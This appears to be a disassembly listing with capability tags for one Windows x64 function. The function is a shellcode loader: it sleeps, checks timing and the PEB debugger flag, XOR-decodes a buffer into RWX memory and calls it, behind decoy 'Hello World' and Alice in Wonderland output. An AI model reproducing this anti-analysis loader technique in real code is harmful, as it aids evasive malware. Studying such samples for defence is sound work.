Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Encode data using xor
Execute shellcode via indirect call
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x24888
call fcn.004048d0
sub rsp, rax
movaps xmmword [rsp + 0x24870], xmm6
movabs rsi, 0xfe624e212ac18000
lea r12, [rsp + 0x400]
mov rcx, r12
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
mov r8, qword [rsp + 0x400]
add r8, rsi
mov r10, r8
mov r9, r8
mov ecx, 0x64
mov rax, r8
imul rcx
mov rcx, rdx
sar r9, 0x3f
movabs rdx, 0xcb923a29c779a6b5
mov rax, r8
imul rdx
mov rax, rdx
shr rax, 0x3f
sar rdx, 0xb
add rdx, rax
mov qword [rsp + 0xd8], rdx
shr rcx, 0x3f
movabs rax, 0x25460aa64c2f837b
imul r10, rax
movabs r11, 0x4a2339c0ebedfa44
mov rax, r8
mul r11
add rdx, r10
imul r9, r11
add r9, rdx
movabs rdx, 0xa6d698fe69270b00
add rax, rdx
movabs rdx, 0x218def416bdb1
adc r9, rdx
mov rdx, r9
shrd rdx, rax, 6
shld r9, rax, 0x3a
xor ebp, ebp
movabs rax, 0x8d36b4c7f3493859
cmp r9, rax
movabs rax, 0x10c6f7a0b5ed
sbb rdx, rax
mov eax, 0
cmovae rax, rcx
mov qword [rsp + 0xd0], rax
lea rdx, [0x00421038]
lea rcx, [rsp + 0x400]
mov r8d, 0x170
call fcn.0041cff0
mov ebx, 1
lea r15, [rsp + 0xb0]
lea r13, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movabs rsi, 0x28f5c28f5c28f5c3
xorps xmm6, xmm6
jmp 0x401164
mov rbx, qword [rsp + 0xc8]
add rbx, 1
lea r15, [rsp + 0xb0]
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x30], r15
lea rax, [0x00402f30]
mov qword [rsp + 0x38], rax
movabs rax, 0x21646c726f5720
mov qword [rsp + 0x55], rax
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x00445b28]
lea r9, [rsp + 0x30]
call fcn.00403af0
test ax, ax
jne 0x401259
mov r8d, 0x41
mov rdx, rbx
cmp rbx, 0x64
jb 0x401214
mov rcx, rbx
nop
mov rax, rcx
shr rax, 2
mul rsi
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r13 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x4011e0
cmp rdx, 9
ja 0x401228
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x401238
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x00445b28]
lea r9, [rsp + 0x30]
call fcn.00403af0
mov r14, qword [rsp + 0x248c8]
test bpl, bpl
jne 0x4016df
mov rdi, qword [rsp + 0x48]
test rdi, rdi
je 0x401290
mov rcx, r12
mov rdx, rdi
xor r8d, r8d
mov r9, r14
call fcn.004022e0
test rax, rax
jne 0x401297
jmp 0x4016df
mov rax, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0xb0], rax
lea rax, [0x00402f50]
mov qword [rsp + 0xb8], rax
movabs rax, 0x21646c726f5720
mov qword [rsp + 0x55], rax
movabs rax, 0x6f57206f6c6c6548
mov qword [rsp + 0x50], rax
mov edx, 0xc
lea rcx, [rsp + 0x50]
lea r8, [0x00445b28]
mov r9, r15
call fcn.00403af0
mov r8d, 0x41
mov rdx, rbx
cmp rbx, 0x64
jb 0x401354
mov rcx, rbx
nop dword [rax]
mov rax, rcx
shr rax, 2
mul rsi
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r13 + r9*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401320
cmp rdx, 9
mov qword [rsp + 0xc8], rbx
ja 0x401370
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x401380
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rsi, [rsp + 0x68]
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x00445b28]
mov r9, r15
call fcn.00403af0
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
movups xmm0, xmmword [0x00445998]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [0x00445988]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [0x00445978]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [0x00445968]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x00445958]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x00445948]
movaps xmmword [rsp + 0x50], xmm0
cmp rdi, 0x40
jae 0x401410
xor ecx, ecx
xor eax, eax
jmp 0x401449
xor eax, eax
lea r15, [rsp + 0x50]
nop word [rax + rax]
mov rsi, rax
lea rdx, [rbx + rax]
mov rcx, r15
call fcn.00402fe0
lea rax, [rsi + 0x40]
sub rsi, 0xffffffffffffff80
cmp rsi, rdi
jbe 0x401420
movzx ecx, byte [rsp + 0xa8]
lea rsi, [rsp + 0x68]
lea rdx, [rbx + rax]
mov r15, rdi
sub r15, rax
add rcx, rsi
mov r8, r15
call fcn.0041cff0
movzx eax, byte [rsp + 0xa8]
movzx edx, r15b
add rdx, rax
mov byte [rsp + 0xa8], dl
add qword [rsp + 0x50], rdi
lea rcx, [rsi + rdx]
mov r8d, 0x40
sub r8, rdx
xor edx, edx
call fcn.0041d350
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + rax + 0x68], 0x80
movzx eax, byte [rsp + 0xa8]
lea ecx, [rax + 1]
mov byte [rsp + 0xa8], cl
cmp al, 0x38
lea r15, [rsp + 0x50]
jb 0x4014d3
mov rcx, r15
mov rdx, rsi
call fcn.00402fe0
movups xmmword [rsi + 0x20], xmm6
movups xmmword [rsi + 0x10], xmm6
movups xmmword [rsi], xmm6
mov qword [rsi + 0x30], 0
mov rax, qword [rsp + 0x50]
mov ecx, eax
shr ecx, 5
lea edx, [rax*8]
mov byte [rsp + 0xa0], dl
mov byte [rsp + 0xa1], cl
mov ecx, eax
shr ecx, 0xd
mov byte [rsp + 0xa2], cl
mov ecx, eax
shr ecx, 0x15
mov byte [rsp + 0xa3], cl
mov rcx, rax
shr rcx, 0x1d
mov byte [rsp + 0xa4], cl
mov rcx, rax
shr rcx, 0x25
mov byte [rsp + 0xa5], cl
mov rcx, rax
shr rcx, 0x2d
mov byte [rsp + 0xa6], cl
shr rax, 0x35
mov byte [rsp + 0xa7], al
mov rcx, r15
mov rdx, rsi
call fcn.00402fe0
movups xmm0, xmmword [rsi - 0x10]
movaps xmmword [rsp + 0xf0], xmm0
test bpl, bpl
jne 0x4016a1
mov edx, 0x20
mov rcx, r12
xor r8d, r8d
mov r9, r14
call fcn.004022e0
test rax, rax
je 0x4016a1
mov r15, rax
mov qword [rsp + 0xc0], r14
mov r14, r13
xor r12d, r12d
xor r13d, r13d
movzx eax, byte [rsp + r13 + 0xf0]
mov ecx, eax
shr ecx, 4
lea rdx, str.0123456789abcdef
movzx ecx, byte [rcx + rdx]
mov byte [rsp + 0x50], cl
and eax, 0xf
movzx eax, byte [rax + rdx]
mov byte [rsp + 0x51], al
xor esi, esi
nop dword [rax]
cmp r12, 0x1f
ja 0x401610
mov eax, 2
sub rax, rsi
lea rdx, [rsp + rsi]
add rdx, 0x50
mov ebp, 0x20
sub rbp, r12
cmp rbp, rax
cmovae rbp, rax
lea rcx, [r15 + r12]
mov r8, rbp
call fcn.0041cff0
add r12, rbp
add rsi, rbp
cmp rsi, 2
jne 0x4015c0
add r13, 1
cmp r13, 0x10
jne 0x40158f
jmp 0x401610
lea rax, str.00000
cmp r15, rax
mov r13, r14
mov ebp, 0
je 0x40188c
cmp dword [r15], 0x30303030
jne 0x40163f
cmp dword [r15 + 1], 0x30303030
je 0x40188c
mov r14, qword [rsp + 0xc0]
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x400]
mov rdx, r15
mov r8, r12
mov r12, rcx
xor r9d, r9d
call fcn.004028f0
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
movabs rsi, 0x28f5c28f5c28f5c3
je 0x401150
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.004028f0
jmp 0x401150
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
jne 0x40178f
mov rdx, qword [rsp + 0x530]
test rdx, rdx
jne 0x4017bb
mov rdx, qword [rsp + 0x550]
test rdx, rdx
jne 0x401830
jmp 0x40185a
mov rdx, qword [rsp + 0x530]
test rdx, rdx
je 0x40174e
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401737
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x530], 0
mov dword [rsp + 0x53c], 0
mov rdx, qword [rsp + 0x550]
test rdx, rdx
je 0x40185a
nop
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401760
jmp 0x40185a
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x400]
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.004028f0
mov rdx, qword [rsp + 0x530]
test rdx, rdx
je 0x4016c9
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401806
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x530], 0
mov dword [rsp + 0x53c], 0
mov rdx, qword [rsp + 0x550]
test rdx, rdx
je 0x40185a
nop word [rax + rax]
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x401830
lea rax, str.OutOfMemory
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 0xb
lea rcx, [rsp + 0xe0]
call fcn.00402080
mov ecx, 1
call sub.ntdll.dll_RtlExitUserProcess
lea rcx, [0x00449010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x30], rax
lea rax, [0x00402c10]
mov rsi, rax
mov qword [rsp + 0x38], rax
mov r8d, 0x41
mov r10, qword [rsp + 0xc8]
cmp r10, 0x64
movabs r9, 0x28f5c28f5c28f5c3
mov r14, qword [rsp + 0xc0]
jb 0x401936
nop word [rax + rax]
mov rax, r10
shr rax, 2
mul r9
shr rdx, 2
imul rax, rdx, 0x64
mov rcx, r10
sub rcx, rax
movzx eax, word [r13 + rcx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
cmp r10, 0x270f
mov r10, rdx
ja 0x401900
jmp 0x401939
mov rdx, r10
cmp rdx, 9
ja 0x40194d
or dl, 0x30
mov byte [rsp + r8 + 0x4f], dl
add r8, 0xffffffffffffffff
jmp 0x40195d
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x4e], ax
add r8, 0xfffffffffffffffe
lea rcx, [rsp + r8]
add rcx, 0x50
mov edx, 0x41
sub rdx, r8
lea r8, [0x00445b28]
lea rbp, [rsp + 0x30]
mov r9, rbp
call fcn.00403af0
lea rcx, [0x00449010]
call fcn.00420590
test r12, r12
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove r15, rax
jne 0x401c1c
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
jne 0x401c4e
mov rdx, qword [rsp + 0x530]
test rdx, rdx
mov r12, rsi
jne 0x401c7d
mov rdx, qword [rsp + 0x550]
test rdx, rdx
je 0x401a0a
nop dword [rax]
mov rsi, qword [rdx]
mov r8, qword [rdx + 8]
mov rcx, qword [rsp + 0x540]
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov rdx, rsi
test rsi, rsi
jne 0x4019e0
lea rsi, [rsp + 0x400]
mov rcx, rsi
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
movabs r10, 0xfe624e212ac18000
add r10, qword [rsp + 0x400]
mov r9, r10
mov ecx, 0x64
mov rax, r10
imul rcx
mov rcx, rdx
movabs rdx, 0x346dc5d63886594b
mov rax, r10
imul rdx
mov r8, rdx
sar r9, 0x3f
mov rax, rdx
shr rax, 0x3f
sar r8, 0xb
add r8, rax
sar rcx, 0x3f
movabs r11, 0x25460aa64c2f837b
imul r11, r10
mov rax, r10
movabs r10, 0x4a2339c0ebedfa44
mul r10
add rdx, r11
imul r9, r10
add r9, rdx
movabs rdx, 0xa6d698fe69270b00
add rax, rdx
movabs rdx, 0x218def416bdb1
adc r9, rdx
mov rdx, r9
shrd rdx, rax, 6
shld r9, rax, 0x3a
xor r14d, r14d
movabs rax, 0x8d36b4c7f3493859
cmp r9, rax
movabs rax, 0x10c6f7a0b5ed
sbb rdx, rax
cmovb rcx, r14
mov r9, qword [rsp + 0xd0]
add r9, qword [rsp + 0xd8]
add r9, r8
add r9, rcx
movabs rcx, 0x20c49ba5e353f7cf
mov rax, r9
imul rcx
mov rax, rdx
shr rax, 0x3f
sar rdx, 7
add rdx, rax
mov rbx, r9
sar rbx, 0x3f
movabs rax, 0x1cac083126e978d5
imul rax, r9
movabs rcx, 0x10624dd2f1a9fb8
add rcx, rax
ror rcx, 3
movabs rax, 0x4189374bc6a7ef
cmp rcx, rax
cmovb rbx, r14
add rbx, rdx
lea rcx, [0x00449010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r12
lea rdi, str.fake_sleep_taskes__seconds._n
nop dword [rax + rax]
lea rdx, [rdi + r14]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x12
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rsi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401dad
mov eax, dword [rsp + 0x400]
add r14, rax
cmp r14, 0x12
jne 0x401b80
mov rcx, rbx
neg rcx
cmovs rcx, rbx
mov r8d, 0x41
cmp rcx, 0x64
jb 0x401cf5
movabs r10, 0x28f5c28f5c28f5c3
nop
mov rax, rcx
shr rax, 2
mul r10
shr rdx, 2
imul rax, rdx, 0x64
mov r9, rcx
sub r9, rax
movzx eax, word [r13 + r9*2]
mov word [rsp + r8 + 0x3fe], ax
add r8, 0xfffffffffffffffe
cmp rcx, 0x270f
mov rcx, rdx
ja 0x401be0
jmp 0x401cf8
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x400]
mov rdx, r15
mov r8, r12
xor r9d, r9d
call fcn.004028f0
test rdi, rdi
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rbx, rax
je 0x4019bb
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x400]
mov rdx, rbx
mov r8, rdi
xor r9d, r9d
call fcn.004028f0
mov rdx, qword [rsp + 0x530]
test rdx, rdx
mov r12, rsi
je 0x4019cf
mov eax, dword [rdx - 8]
add rdx, 0xffffffffffffffe8
lea rax, [rax + rax*4]
lea rax, [rax + rax*4]
add rax, 0x1f
movabs r8, 0x1ffffffff8
and r8, rax
movabs rax, 0xaaaaaaaaaaaaaaaa
cmove rdx, rax
je 0x401cc8
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x408]
mov qword [rsp + 0x20], r14
mov r9b, 3
call qword [rax + 0x10]
mov qword [rsp + 0x530], 0
mov dword [rsp + 0x53c], 0
mov rdx, qword [rsp + 0x550]
test rdx, rdx
jne 0x4019e0
jmp 0x401a0a
mov rdx, rcx
cmp rdx, 9
ja 0x401d0f
or dl, 0x30
mov byte [rsp + r8 + 0x3ff], dl
add r8, 0xffffffffffffffff
jmp 0x401d22
movzx eax, word [r13 + rdx*2]
mov word [rsp + r8 + 0x3fe], ax
add r8, 0xfffffffffffffffe
test rbx, rbx
jns 0x401d34
mov byte [rsp + r8 + 0x3ff], 0x2d
add r8, 0xffffffffffffffff
lea rcx, [rsp + r8]
add rcx, 0x400
mov edx, 0x41
sub rdx, r8
lea r8, [0x00445b28]
lea r9, [rsp + 0x50]
call fcn.00403af0
test ax, ax
jne 0x401db2
xor ebx, ebx
lea rsi, [rsp + 0x400]
nop word [rax + rax]
lea rdx, [rbx + rdi]
add rdx, 0x14
mov rcx, qword [rsp + 0x30]
mov r8d, 0xa
sub r8d, ebx
mov qword [rsp + 0x20], 0
mov r9, rsi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401dad
mov eax, dword [rsp + 0x400]
add rbx, rax
cmp rbx, 0xa
jne 0x401d70
jmp 0x401db2
call sub.KERNEL32.dll_GetLastError
lea rcx, [0x00449010]
call fcn.00420590
mov ecx, 0xea60
call sub.KERNEL32.dll_Sleep
xor edi, edi
mov edx, 0x3e8
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov rsi, rax
lea rcx, [rsp + 0x10e]
mov r8d, 0x2f2
xor edx, edx
call fcn.0041d350
lea rax, [0x0044562c]
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rdi + rax]
xor cl, dil
mov rdx, qword gs:[0x30]
mov rdx, qword [rdx + 0x60]
movzx edx, byte [rdx + 2]
add dl, 0x99
xor dl, cl
mov byte [rsp + rdi + 0x10e], dl
add rdi, 1
cmp rdi, 0x2f2
jne 0x401e10
lea rdx, [rsp + 0x10e]
mov r8d, 0x2f2
mov rcx, rsi
call fcn.0041cff0
lea rcx, [0x00449010]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r12
xor r14d, r14d
lea rbx, str.VirtualAlloc_pointer:__n
lea rdi, [rsp + 0x400]
nop dword [rax]
lea rdx, [rbx + r14]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x16
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rdi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401fed
mov eax, dword [rsp + 0x400]
add r14, rax
cmp r14, 0x16
jne 0x401ea0
xor r14d, r14d
lea r15, [0x00445b24]
lea rdi, [rsp + 0x400]
nop dword [rax]
lea rdx, [r15 + r14]
mov rcx, qword [rsp + 0x30]
mov r8d, 3
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rdi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401fed
mov eax, dword [rsp + 0x400]
add r14, rax
cmp r14, 3
jne 0x401ef0
xor edx, edx
mov rcx, rsi
mov rax, rsi
nop word cs:[rax + rax]
nop dword [rax]
mov r8d, ecx
and r8b, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
mov byte [rsp + rdx + 0x440], r9b
shr rax, 4
add rdx, 0xffffffffffffffff
cmp rcx, 0xf
mov rcx, rax
ja 0x401f40
lea rcx, [rsp + rdx]
add rcx, 0x441
neg rdx
lea r8, [0x00445b28]
lea r9, [rsp + 0x50]
call fcn.00403af0
test ax, ax
jne 0x401ff2
xor r14d, r14d
lea rdi, [rsp + 0x400]
nop word [rax + rax]
lea rdx, [r14 + rbx]
add rdx, 0x19
mov rcx, qword [rsp + 0x30]
mov r8d, 1
sub r8d, r14d
mov qword [rsp + 0x20], 0
mov r9, rdi
call sub.KERNEL32.dll_WriteFile
test eax, eax
je 0x401fed
mov eax, dword [rsp + 0x400]
add r14, rax
cmp r14, 1
jne 0x401fb0
jmp 0x401ff2
call sub.KERNEL32.dll_GetLastError
lea rdi, [0x00449010]
mov rcx, rdi
call fcn.00420590
call rsi
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r12
lea rdx, str.Alices_Adventures_in_Wonderland_n_n________________ALICES_ADVENTURES_IN_WONDERLAND_n_n__________________________Lewis_Carroll_n_n_______________THE_MILLENNIUM_FULCRUM_EDITION_3.0_n_n_n_n_n____________________________CHAPTER_I_n_n______________________Down_the_Rabbit_Hole_n_n_n__Alice_was_beginning_to_get_very_tired_of_sitting_by_her_sister_non_the_bank__and_of_having_nothing_to_do:__once_or_twice_she_had_npeeped_into_the_book_her_sister_was_reading__but_it_had_no_npictures_or_conversations_in_it___and_what_is_the_use_of_a_book__nthought_Alice__without_pictures_or_conversation__n_n__So_she_was_considering_in_her_own_mind__as_well_as_she_could__nfor_the_hot_day_made_her_feel_very_sleepy_and_stupid___whether_nthe_pleasure_of_making_a_daisy_chain_would_be_worth_the_trouble_nof_getting_up_and_picking_the_daisies__when_suddenly_a_White_nRabbit_with_pink_eyes_ran_close_by_her._n_n__There_was_nothing_so_VERY_remarkable_in_that__nor_did_Alice_nthink_it_so_VERY_much_out_of_the_way_to_hear_the_Rabbit_say_to_nitself___Oh_dear___Oh_dear___I_shall_be_late____when_she_thought_nit_over_afterwards__it_occurred_to_her_that_she_ought_to_have_nwondered_at_this__but_at_the_time_it_all_seemed_quite_natural___nbut_when_the_Rabbit_actually_TOOK_A_WATCH_OUT_OF_ITS_WAISTCOAT__nPOCKET__and_looked_at_it__and_then_hurried_on__Alice_started_to_nher_feet__for_it_flashed_across_her_mind_that_she_had_never_nbefore_seen_a_rabbit_with_either_a_waistcoat_pocket__or_a_watch_to_ntake_out_of_it__and_burning_with_curiosity__she_ran_across_the_nfield_after_it__and_fortunately_was_just_in_time_to_see_it_pop_ndown_a_large_rabbit_hole_under_the_hedge._n_n__In_another_moment_down_went_Alice_after_it__never_once_nconsidering_how_in_the_world_she_was_to_get_out_again._n_n__The_rabbit_hole_went_straight_on_like_a_tunnel_for_some_way__nand_then_dipped_suddenly_down__so_suddenly_that_Alice_had_not_a_nmoment_to_think_about_stopping_herself_before_she_found_herself_nfalling_down_a_very_deep_well._n_n__Either_the_well_was_very_deep__or_she_fell_very_slowly__for_she_nhad_plenty_of_time_as_she_went_down_to_look_about_her_and_to_nwonder_what_was_going_to_happen_next.__First__she_tried_to_look_ndown_and_make_out_what_she_was_coming_to__but_it_was_too_dark_to_nsee_anything__then_she_looked_at_the_sides_of_the_well__and_nnoticed_that_they_were_filled_with_cupboards_and_book_shelves__nhere_and_there_she_saw_maps_and_pictures_hung_upon_pegs.__She_ntook_down_a_jar_from_one_of_the_shelves_as_she_passed__it_was_nlabelled__ORANGE_MARMALADE__but_to_her_great_disappointment_it_nwas_empty:__she_did_not_like_to_drop_the_jar_for_fear_of_killing_nsomebody__so_managed_to_put_it_into_one_of_the_cupboards_as_she_nfell_past_it._n_n___Well__thought_Alice_to_herself___after_such_a_fall_as_this__I_nshall_think_nothing_of_tumbling_down_stairs___How_brave_theyll_nall_think_me_at_home___Why__I_wouldnt_say_anything_about_it__neven_if_I_fell_off_the_top_of_the_house___Which_was_very_likely_ntrue.__n_n__Down__down__down.__Would_the_fall_NEVER_come_to_an_end____I_nwonder_how_many_miles_Ive_fallen_by_this_time__she_said_aloud._n_I_must_be_getting_somewhere_near_the_centre_of_the_earth.__Let_nme_see:__that_would_be_four_thousand_miles_down__I_think____for__nyou_see__Alice_had_learnt_several_things_of_this_sort_in_her_nlessons_in_the_schoolroom__and_though_this_was_not_a_VERY_good_nopportunity_for_showing_off_her_knowledge__as_there_was_no_one_to_nlisten_to_her__still_it_was_good_practice_to_say_it_over_____yes__nthats_about_the_right_distance__but_then_I_wonder_what_Latitude_nor_Longitude_Ive_got_to____Alice_had_no_idea_what_Latitude_was__nor_Longitude_either__but_thought_they_were_nice_grand_words_to_nsay.__n_n__Presently_she_began_again.___I_wonder_if_I_shall_fall_right_nTHROUGH_the_earth___How_funny_itll_seem_to_come_out_among_the_npeople_that_walk_with_their_heads_downward___The_Antipathies__I_nthink____she_was_rather_glad_there_WAS_no_one_listening__this_ntime__as_it_didnt_sound_at_all_the_right_word_____but_I_shall_nhave_to_ask_them_what_the_name_of_the_country_is__you_know._nPleas
lea rsi, [rsp + 0x400]
mov r8d, 0x2445f
mov rcx, rsi
call fcn.0041cff0
lea r8, [0x00445b28]
lea r9, [rsp + 0x50]
mov edx, 0x2445e
mov rcx, rsi
call fcn.00403af0
mov rcx, rdi
call fcn.00420590
xor ecx, ecx
call sub.ntdll.dll_RtlExitUserProcess
int3